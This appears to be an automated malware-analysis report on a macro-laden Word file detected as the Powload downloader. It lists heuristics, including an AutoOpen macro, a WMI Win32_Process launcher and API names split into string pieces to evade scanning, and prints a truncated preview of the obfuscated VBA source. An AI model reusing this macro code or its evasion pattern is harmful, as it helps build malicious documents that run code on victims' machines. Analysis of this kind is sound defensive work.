MALICIOUS
342
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
The sample contains VBA macros with an autoopen subroutine that utilizes GetObject and CreateObject to launch the Win32_Process WMI class. This indicates an attempt to execute arbitrary code or download a secondary payload. The ClamAV detection 'Doc.Downloader.Powload-6958023-0' further supports the downloader functionality.
Heuristics 9
-
ClamAV: Doc.Downloader.Powload-6958023-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Powload-6958023-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 44777 bytes |
SHA-256: d6ac803fc19049cca82dcaf94fe92e7a82015798db932c299a9544e0d9b7e4fb |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "cQAA1Z"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "SQQGZD"
Attribute VB_Base = "0{0A52E058-AE76-4C27-9AF9-3C356DE2D381}{1DC222BD-0E66-44DA-932D-5E1EDD3B3BDE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "K4AGAAG"
Attribute VB_Base = "0{3AE5A0E8-9AF3-409E-8AD7-486B476535BE}{D73F20A7-FE73-4D41-93DC-6D2E05722A3C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "wAwDA_"
Sub autoopen()
If ADDDAUQ = wADAA_4Q Then
ElseIf jAAGA1A = SDABBAZA Then
GABAAAc = (267519638 / 897750405 / sQcAwZ - Cos(756813713 + Tan(EAAAo4)))
ElseIf LQBkZA = pXAAAx Then
cZ4A1AQ = (751133640 / 630216403 / aGABABA - Cos(45757724 + Tan(JD_4AA1A)))
ElseIf DDDDDx = iQAZBCAA Then
ADXcAAD = (135957509 / 149410502 / L_ABG1 - Cos(414211715 + Tan(YADQ_4C)))
End If
If AACAAAAB = NA4QDXZ Then
ElseIf EQ4DAAGA = WcQkGAUw Then
YAU1kAD = (701778413 / 688661393 / Foc1AUA - Cos(296264843 + Tan(tkc1ZZA)))
ElseIf TCcBA1k = TAcAA1AD Then
UAAAAk4G = (400276892 / 985997369 / zAX_4DAA - Cos(16885558 + Tan(sAUZAA)))
ElseIf VUABB_xD = jUAA4wwB Then
LAkAwBAx = (533428355 / 613803216 / jxwDAXD - Cos(5401070 + Tan(tAUAAZ)))
End If
If qXoADAXG = J1oXoAU Then
ElseIf OA_cUUA = UA1QU_B Then
UUAwAAA = (271276750 / 302436636 / vGDZBA - Cos(559905168 + Tan(ZQ_ZUA)))
ElseIf h4AD4A = WAUBBkU Then
dUAQGCA_ = (38677001 / 98134683 / hZG_DAUA - Cos(909608368 + Tan(CDAGAQDD)))
ElseIf ckQDAc = uBA_AAB Then
oZUUA1Q = (23018422 / 696015796 / mCGAUA - Cos(95611544 + Tan(TAADDx)))
End If
wAUZAA
If XoCBQD = YoDXZAA Then
ElseIf dx_XAc = r1xUUABQ Then
MGGQAcA = (601435341 / 716197926 / cA_cDA - Cos(797777708 + Tan(zoUoCA)))
ElseIf EAZAUA = UAoZoB1D Then
cBUAAA = (662716120 / 40666090 / OAADAXQ - Cos(988706587 + Tan(HCA1CxA4)))
ElseIf fA_GZQ = V_ADAA Then
zQBGA1G = (491108569 / 142723745 / GD1kABwA - Cos(245388416 + Tan(iU__Bw)))
End If
If WAAoUAXC = z4AAAB Then
ElseIf OBAUAAX = MZBAAwQA Then
VBZDAkxU = (795838455 / 990537442 / qkQwABU - Cos(102467672 + Tan(V1CA1xA)))
ElseIf lAkDQQQ = HAU1AQG Then
F4CXcwAA = (211428869 / 132033323 / AAAAcUUA - Cos(755302065 + Tan(QACDAkAX)))
ElseIf MQAUQAoA = jGAkGcA Then
zAxGAAA = (32917629 / 159592512 / CCoxQw - Cos(667485931 + Tan(RBUkowG)))
End If
End Sub
Function LoAwGA1A(AQAQcG)
If wAAA4UAk = rBc4cZZG Then
ElseIf GABAAxAA = GcGQAQUA Then
MwAQk_A1 = (569852104 / 893177612 / cABAw4 - Cos(986288814 + Tan(zUQABAXD)))
ElseIf EXwZA_A4 = bQZAA_CC Then
FAAcAZ = (643225345 / 169063010 / zAkkCx - Cos(306331002 + Tan(rAxGUDww)))
ElseIf UwAAkGG1 = UBoAxC Then
UCAAUcD = (180426134 / 100177686 / jA1x_o - Cos(70121657 + Tan(zA1ADcB)))
End If
If qAAQAA = fXQAAxAB Then
ElseIf m4AAAUQc = PQ4cco Then
SAAB4U = (68377651 / 436160027 / uxUQAAx - Cos(844930880 + Tan(WAAA1Q)))
ElseIf iABDAc = YXxxGDAk Then
VAZBCkk = (55184923 / 739573377 / fABUcB - Cos(943206056 + Tan(GUADABB)))
ElseIf CUABUDA = tUwBA_Qo Then
QUQG1Q = (462102489 / 716866647 / fk1UGG - Cos(302115088 + Tan(dZAUkA)))
End If
Set LoAwGA1A = CVar(AQAQcG)
If akoABQBc = GAkAADk Then
ElseIf dABAUoQA = vDU1_UAU Then
iAAAAxB = (89400408 / 203663596 / XADAcGc - Cos(475634290 + Tan(lQXxxA)))
ElseIf FxcZGAAD = TAG4Q1_ Then
d_xDAD = (408372820 / 937147257 / C41AADA - Cos(539471290 + Tan(sAooAk)))
ElseIf FAoQ_AQ = vAUA1A Then
wDAAQQQZ = (408132955 / 451928321 / HAABxBD - Cos(591810695 + Tan(sXwxAZ)))
End If
If uUUZUxZQ = N_AQUAAB Then
ElseIf EDUAA1QA = AwZxAkA Then
kAAUQBQ = (674206449 / 849150678 / uUAAAQcD - Cos(75022217 + Tan(R4
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.